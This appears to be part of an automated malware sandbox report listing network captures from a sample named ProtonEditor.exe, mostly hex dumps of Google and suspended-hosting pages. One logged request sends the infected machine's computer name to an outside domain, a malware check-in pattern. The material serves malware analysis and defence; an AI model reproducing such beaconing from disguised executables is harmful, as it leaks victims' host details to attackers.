                                                                                                                                                                                                                                                                Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:51.933924913 CET198OUTGET /cgi-sys/suspendedpage.cgi?compName=user-PC HTTP/1.1
                                                                                                                                                                                                                                                                User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.444.143 Safari/537.36
                                                                                                                                                                                                                                                                Host: keikochio.com
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.598937988 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                                content-type: text/html
                                                                                                                                                                                                                                                                transfer-encoding: chunked
                                                                                                                                                                                                                                                                date: Wed, 18 Dec 2024 10:05:52 GMT
                                                                                                                                                                                                                                                                server: LiteSpeed
                                                                                                                                                                                                                                                                Data Raw: 31 64 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d [TRUNCATED]
                                                                                                                                                                                                                                                                Data Ascii: 1dc4<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1"> <title>Account Suspended</title> <link rel="stylesheet" href="//use.fontawesome.com/releases/v5.0.6/css/all.css"> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } [TRUNCATED]
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599031925 CET1236INData Raw: 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 33 41 34 41 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c
                                                                                                                                                                                                                                                                Data Ascii: ckground-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info-items { padding: 20px; min-height: 193px; } .info-heading { f
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599097967 CET1236INData Raw: 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b
                                                                                                                                                                                                                                                                Data Ascii: display: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAAAAAAAD//////
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599154949 CET1236INData Raw: 48 30 4b 53 51 56 49 76 51 66 45 52 63 69 4d 70 63 61 46 74 57 34 48 38 69 49 30 67 42 32 4d 7a 66 45 63 56 33 67 42 2b 49 6b 66 44 74 62 79 43 41 54 67 74 48 42 37 6c 33 54 72 4b 55 47 32 79 57 4f 65 37 4f 32 4b 59 51 49 50 45 37 78 46 44 31 32
                                                                                                                                                                                                                                                                Data Ascii: H0KSQVIvQfERciMpcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQIPE7xFD12Yvy6SvqoLOMf95k+BvgqogCFCx22NdltO1epYc7ycEKSaI9+UAYPGOlKDQYyxDP9Npqv0NKZkS7GuNRQig5pvaYQwdTztjRnCrr/l0b2UgO+wRtMiFCAzqpLL0So+hWmi61Nn3aqKGEzDfFrmEoKqcWSFDRONSrAU
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599255085 CET1236INData Raw: 4d 64 54 2f 75 4b 4c 30 52 49 51 38 44 7a 59 4f 4b 4a 75 39 38 56 30 30 36 4c 62 53 49 6b 76 42 73 52 6c 7a 42 50 59 6b 49 52 49 48 31 37 34 33 69 45 69 65 6c 42 54 34 69 51 52 6b 4e 48 77 55 51 4d 55 74 54 57 58 71 73 69 51 75 67 42 69 77 6c 37
                                                                                                                                                                                                                                                                Data Ascii: MdT/uKL0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQugBiwl73OOrV0RIq/6+BIPPVVLrbAVAulQKIwAO/9jUKyJk51SmO5wwhpHXac0E3EQEfRIu6TfBYLQn/J3eCcFdE7i4dwmHckWErJsmU7eIsGnLxpVpVETI4kVM3VCUw1+XdRPRaM0k64jL1LEFkBBGRw7ad1ZE+AVH74Xh8
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599301100 CET1236INData Raw: 73 33 34 67 36 54 2b 41 6b 41 54 38 34 62 73 30 66 58 32 77 65 53 38 38 58 37 58 36 68 58 52 44 44 52 7a 64 77 48 5a 2f 35 44 32 68 6a 6a 67 68 74 33 4d 62 35 79 31 4e 49 4e 71 2b 62 65 5a 42 75 38 64 38 34 36 35 37 77 50 59 66 4e 38 70 5a 42 63
                                                                                                                                                                                                                                                                Data Ascii: s34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvdbtazp16TSCOfZppMiGD6iVqr271oVokU6AJ9U5FGnXIww5mH+kLEhxI1cl20QCGCTgRMA/3+F2lRXXtzXhURPTTt9GQA6h+d/1dE5An9GRH5o5mwIgKHvhCBi5j60Bci8oe+EKEPrYmg+
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599333048 CET396INData Raw: 73 70 65 6e 64 65 64 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 61 73 6f 6e 2d 74 65 78 74 22 3e 0a
                                                                                                                                                                                                                                                                Data Ascii: spended. </div> <div class="reason-text"> <a href="mailto:webmaster@keikochio.com" id="dynamicProviderLink" title="webmaster@keikochio.com" rel="noopener noreferrer">Contact your
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.790420055 CET5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                Data Ascii: 0


                                                                                                                                                                                                                                                                HTTPS Proxied Packets

                                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                0192.168.2.549741142.250.181.1324434072C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                2024-12-18 10:04:15 UTC128OUTGET / HTTP/1.1
                                                                                                                                                                                                                                                                Accept: application/json, text/plain, */*
                                                                                                                                                                                                                                                                User-Agent: axios/0.27.2
                                                                                                                                                                                                                                                                Host: www.google.com
                                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1189INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                Date: Wed, 18 Dec 2024 10:04:16 GMT
                                                                                                                                                                                                                                                                Expires: -1
                                                                                                                                                                                                                                                                Cache-Control: private, max-age=0
                                                                                                                                                                                                                                                                Content-Type: text/html; charset=ISO-8859-1
                                                                                                                                                                                                                                                                Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-PZcUnF_dHVb-0GisxmZ-lQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp
                                                                                                                                                                                                                                                                Accept-CH: Sec-CH-Prefers-Color-Scheme
                                                                                                                                                                                                                                                                P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
                                                                                                                                                                                                                                                                Server: gws
                                                                                                                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                                Set-Cookie: AEC=AZ6Zc-WVMMhbi69W7dkOdeXNR2w893xB9MHfwWcuVCPti3W39zaWB-O0GBU; expires=Mon, 16-Jun-2025 10:04:16 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax
                                                                                                                                                                                                                                                                Set-Cookie: NID=520=QYUSdCHyecsC_qWN3lOrhIqSvswuKc60j9KbPDOnEjpKK-i9SRs8y2eXVQ5t-C6HiuuH0N8GMPKxCWhl8n1I2YWLFhBmdQsLjY5XTtWysk06WMICPrHxfhQc0I1C4FXuWwwlyYXM4LVTLxLA1wOw_NfsydOD5m0YtBHTGWldMRICOXM9Yb9ot7aw-Kkfz9aZKjppCMLO; expires=Thu, 19-Jun-2025 10:04:16 GMT; path=/; domain=.google.com; HttpOnly
                                                                                                                                                                                                                                                                Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                                                Accept-Ranges: none
                                                                                                                                                                                                                                                                Vary: Accept-Encoding
                                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                                Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC201INData Raw: 33 31 32 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 53 65 61 72 63 68 20 74 68 65 20 77 6f 72 6c 64 27 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 65 62 70 61 67 65 73 2c 20 69 6d 61 67 65 73 2c 20 76 69 64 65 6f 73 20 61 6e 64 20 6d 6f 72 65 2e 20 47 6f 6f 67 6c 65 20 68 61 73 20 6d 61 6e 79 20
                                                                                                                                                                                                                                                                Data Ascii: 3128<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google has many
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1390INData Raw: 73 70 65 63 69 61 6c 20 66 65 61 74 75 72 65 73 20 74 6f 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 20 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 6c 6f 67 6f 73 2f 64 6f 6f 64 6c 65 73 2f 32 30 32 34 2f 73 65 61 73 6f 6e 61 6c 2d 68 6f 6c 69 64 61 79 73 2d 32 30 32 34 2d 36 37 35 33 36
                                                                                                                                                                                                                                                                Data Ascii: special features to help you find exactly what you're looking for." name="description"><meta content="noodp, " name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/logos/doodles/2024/seasonal-holidays-2024-67536
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1390INData Raw: 38 33 2c 35 32 31 33 36 37 32 2c 35 38 34 2c 35 39 39 32 32 37 32 2c 32 38 34 32 34 38 35 2c 35 2c 39 33 2c 31 2c 39 2c 36 2c 36 35 2c 32 2c 31 30 2c 31 31 2c 32 35 2c 31 2c 31 37 2c 38 2c 37 34 33 38 30 33 37 2c 31 36 34 39 36 32 32 39 2c 34 30 34 33 37 30 39 2c 32 35 32 32 34 30 34 35 2c 34 36 33 36 2c 31 36 34 33 36 2c 33 34 37 35 34 2c 35 2c 34 39 32 38 36 2c 32 32 36 32 33 2c 38 38 34 2c 31 34 32 38 30 2c 38 31 38 31 2c 35 39 33 34 2c 34 35 35 39 2c 33 38 39 34 2c 33 35 30 34 33 2c 31 39 30 31 31 2c 32 36 36 30 2c 33 34 33 34 2c 33 33 31 39 2c 31 39 31 34 2c 32 2c 32 31 39 36 32 2c 37 30 33 34 2c 32 31 30 36 2c 37 34 34 2c 31 2c 33 2c 33 38 35 31 2c 33 32 38 2c 34 34 35 36 2c 31 37 36 39 2c 32 33 34 30 37 2c 36 2c 39 35 32 2c 31 39 32 30 2c 37 33 33
                                                                                                                                                                                                                                                                Data Ascii: 83,5213672,584,5992272,2842485,5,93,1,9,6,65,2,10,11,25,1,17,8,7438037,16496229,4043709,25224045,4636,16436,34754,5,49286,22623,884,14280,8181,5934,4559,3894,35043,19011,2660,3434,3319,1914,2,21962,7034,2106,744,1,3,3851,328,4456,1769,23407,6,952,1920,733
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1390INData Raw: 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 73 6e 3d 27 77 65 62 68 70 27 3b 67 6f 6f 67 6c 65 2e 6b 48 4c 3d 27 65 6e 27 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 76 61 72 20 67 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 6b 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 7c 7c 6e 75 6c 6c 7d 3b 76 61 72 20 6c 2c 6d 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3b 61 26 26 28 21 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 7c 7c 21 28 62 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 65 69 64 22 29 29 29 3b 29 61 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 7c 7c 6c 7d 66 75 6e 63 74 69
                                                                                                                                                                                                                                                                Data Ascii: tion(){google.sn='webhp';google.kHL='en';})();(function(){var g=this||self;function k(){return window.google&&window.google.kOPI||null};var l,m=[];function n(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentNode;return b||l}functi
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1390INData Raw: 6f 67 6c 65 29 2e 70 6c 6d 7c 7c 28 66 2e 70 6c 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 6c 6d 2e 70 75 73 68 2e 61 70 70 6c 79 28 67 6f 6f 67 6c 65 2e 6c 6d 2c 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 71 3d 5b 5d 3b 76 61 72 20 67 3b 28 67 3d 67 6f 6f 67 6c 65 29 2e 6c 6f 61 64 7c 7c 28 67 2e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 6c 71 2e 70 75 73 68 28 5b 5b 61 5d 2c 62 2c 63 5d 29 7d 29 3b 76 61 72 20 68 3b 28 68 3d 67 6f 6f 67 6c 65 29 2e 6c 6f 61 64 41 6c 6c 7c 7c 28 68 2e 6c 6f 61 64 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 67 6f 6f 67 6c 65 2e 6c 71 2e 70 75 73 68 28 5b 61 2c 62 5d 29 7d 29 3b 67 6f 6f 67 6c 65 2e 62 78 3d 21 31 3b 76 61 72 20 6b 3b 28 6b 3d 67 6f 6f 67
                                                                                                                                                                                                                                                                Data Ascii: ogle).plm||(f.plm=function(a){google.lm.push.apply(google.lm,a)});google.lq=[];var g;(g=google).load||(g.load=function(a,b,c){google.lq.push([[a],b,c])});var h;(h=google).loadAll||(h.loadAll=function(a,b){google.lq.push([a,b])});google.bx=!1;var k;(k=goog
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1390INData Raw: 2c 61 2c 70 2c 2e 68 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 73 63 72 6f 6c 6c 7d 23 67 6f 67 7b 70 61 64 64 69 6e 67 3a 33 70 78 20 38 70 78 20 30 7d 74 64 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 2e 38 65 6d 7d 2e 67 61 63 5f 6d 20 74 64 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 37 70 78 7d 66 6f 72 6d 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 2e 68 7b 63 6f 6c 6f 72 3a 23 31 39 36 37 64 32 7d 65 6d 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 2e 6c 73 74 7b 68 65 69 67 68 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 34 39 36 70 78 7d 2e 67 73 66 69 2c 2e 6c
                                                                                                                                                                                                                                                                Data Ascii: ,a,p,.h{font-family:arial,sans-serif}body{margin:0;overflow-y:scroll}#gog{padding:3px 8px 0}td{line-height:.8em}.gac_m td{line-height:17px}form{margin-bottom:20px}.h{color:#1967d2}em{font-weight:bold;font-style:normal}.lst{height:25px;width:496px}.gsfi,.l
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1390INData Raw: 61 26 26 61 2e 6d 65 73 73 61 67 65 29 3b 64 3d 3d 3d 76 6f 69 64 20 30 26 26 28 64 3d 7b 7d 29 3b 64 2e 63 61 64 3d 22 70 6c 65 5f 22 2b 67 6f 6f 67 6c 65 2e 70 6c 65 2b 22 2e 61 70 6c 65 5f 22 2b 67 6f 6f 67 6c 65 2e 61 70 6c 65 3b 69 66 28 67 6f 6f 67 6c 65 2e 64 6c 29 72 65 74 75 72 6e 20 67 6f 6f 67 6c 65 2e 64 6c 28 61 2c 65 2c 64 2c 21 30 29 2c 6e 75 6c 6c 3b 62 3d 64 3b 69 66 28 78 3c 30 29 7b 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 61 2c 62 29 3b 69 66 28 78 3d 3d 3d 2d 32 29 74 68 72 6f 77 20 61 3b 62 3d 21 31 7d 65 6c 73 65 20 62 3d 21 61 7c 7c 21 61 2e 6d 65 73 73 61 67 65 7c 7c 61 2e 6d 65 73 73 61 67 65 3d 3d 3d 22 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 73 63 72 69 70 74 22 7c 7c 74 3e 3d
                                                                                                                                                                                                                                                                Data Ascii: a&&a.message);d===void 0&&(d={});d.cad="ple_"+google.ple+".aple_"+google.aple;if(google.dl)return google.dl(a,e,d,!0),null;b=d;if(x<0){window.console&&console.error(a,b);if(x===-2)throw a;b=!1}else b=!a||!a.message||a.message==="Error loading script"||t>=
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1390INData Raw: 63 65 3d 22 50 5a 63 55 6e 46 5f 64 48 56 62 2d 30 47 69 73 78 6d 5a 2d 6c 51 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 72 63 3d 27 2f 69 6d 61 67 65 73 2f 6e 61 76 5f 6c 6f 67 6f 32 32 39 2e 70 6e 67 27 3b 76 61 72 20 69 65 73 67 3d 66 61 6c 73 65 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6e 20 26 26 20 77 69 6e 64 6f 77 2e 6e 28 29 3b 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 69 6d 61 67 65 73 29 7b 6e 65 77 20 49 6d 61 67 65 28 29 2e 73 72 63 3d 73 72 63 3b 7d 0a 69 66 20 28 21 69 65 73 67 29 7b 64 6f 63 75 6d 65 6e 74 2e 66 26 26 64 6f 63 75 6d 65 6e 74 2e 66 2e 71 2e 66 6f 63 75 73 28 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 62 71 66 26 26 64 6f 63 75 6d 65 6e
                                                                                                                                                                                                                                                                Data Ascii: ce="PZcUnF_dHVb-0GisxmZ-lQ">(function(){var src='/images/nav_logo229.png';var iesg=false;document.body.onload = function(){window.n && window.n();if (document.images){new Image().src=src;}if (!iesg){document.f&&document.f.q.focus();document.gbqf&&documen
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1390INData Raw: 66 74 3a 30 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 67 62 68 20 73 74 79 6c 65 3d 72 69 67 68 74 3a 30 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 63 65 6e 74 65 72 3e 3c 62 72 20 63 6c 65 61 72 3d 22 61 6c 6c 22 20 69 64 3d 22 6c 67 70 64 22 3e 3c 64 69 76 20 69 64 3d 22 58 6a 68 48 47 66 22 3e 3c 69 6d 67 20 61 6c 74 3d 22 53 65 61 73 6f 6e 61 6c 20 48 6f 6c 69 64 61 79 73 20 32 30 32 34 22 20 62 6f 72 64 65 72 3d 22 30 22 20 68 65 69 67 68 74 3d 22 32 30 30 22 20 73 72 63 3d 22 2f 6c 6f 67 6f 73 2f 64 6f 6f 64 6c 65 73 2f 32 30 32 34 2f 73 65 61 73 6f 6e 61 6c 2d 68 6f 6c 69 64 61 79 73 2d 32 30 32 34 2d 36 37 35 33 36 35 31 38 33 37 31 31 30 33 33 33 2d 6c 61 77 2e 67 69 66 22 20 74 69 74 6c 65 3d 22 53 65 61 73 6f 6e 61 6c 20 48 6f 6c 69
                                                                                                                                                                                                                                                                Data Ascii: ft:0></div><div class=gbh style=right:0></div></div><center><br clear="all" id="lgpd"><div id="XjhHGf"><img alt="Seasonal Holidays 2024" border="0" height="200" src="/logos/doodles/2024/seasonal-holidays-2024-6753651837110333-law.gif" title="Seasonal Holi
                                                                                                                                                                                                                                                                2024-12-18 10:04:16 UTC1271INData Raw: 66 61 6c 73 65 3b 7d 0a 65 6c 73 65 20 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 64 6f 6f 64 6c 65 73 2f 27 3b 7d 3b 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 69 6e 70 75 74 20 76 61 6c 75 65 3d 22 41 4c 39 68 62 64 67 41 41 41 41 41 5a 32 4b 73 4d 50 79 2d 78 77 36 65 45 7a 53 49 39 59 61 5f 32 5f 51 41 62 67 65 6a 4d 6f 4d 6a 22 20 6e 61 6d 65 3d 22 69 66 6c 73 69 67 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 74 64 3e 3c 74 64 20 63 6c 61 73 73 3d 22 66 6c 20 73 62 6c 63 22 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 20 6e 6f 77 72 61 70 3d 22 22 20 77 69 64 74 68 3d 22 32 35 25 22 3e 3c 61 20 68 72 65 66 3d 22 2f 61 64 76 61 6e 63 65 64 5f 73 65 61 72 63 68 3f 68 6c 3d 65 6e 26 61 6d 70 3b 61 75 74
                                                                                                                                                                                                                                                                Data Ascii: false;}else top.location='/doodles/';};})();</script><input value="AL9hbdgAAAAAZ2KsMPy-xw6eEzSI9Ya_2_QAbgejMoMj" name="iflsig" type="hidden"></span></span></td><td class="fl sblc" align="left" nowrap="" width="25%"><a href="/advanced_search?hl=en&amp;aut


                                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                1192.168.2.549768172.64.41.34433948C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                2024-12-18 10:04:24 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                                                                                                                                                Host: chrome.cloudflare-dns.com
                                                                                                                                                                                                                                                                Connection: keep-alive
                                                                                                                                                                                                                                                                Content-Length: 128
                                                                                                                                                                                                                                                                Accept: application/dns-message
                                                                                                                                                                                                                                                                Accept-Language: *
                                                                                                                                                                                                                                                                User-Agent: Chrome
                                                                                                                                                                                                                                                                Accept-Encoding: identity
                                                                                                                                                                                                                                                                Content-Type: application/dns-message
                                                                                                                                                                                                                                                                2024-12-18 10:04:24 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                Data Ascii: wwwgstaticcom)TP
                                                                                                                                                                                                                                                                2024-12-18 10:04:25 UTC247INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                Server: cloudflare
                                                                                                                                                                                                                                                                Date: Wed, 18 Dec 2024 10:04:25 GMT
                                                                                                                                                                                                                                                                Content-Type: application/dns-message
                                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                                Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                Content-Length: 468
                                                                                                                                                                                                                                                                CF-RAY: 8f3e542079074352-EWR
                                                                                                                                                                                                                                                                alt-svc: h3=":443"; ma=86400
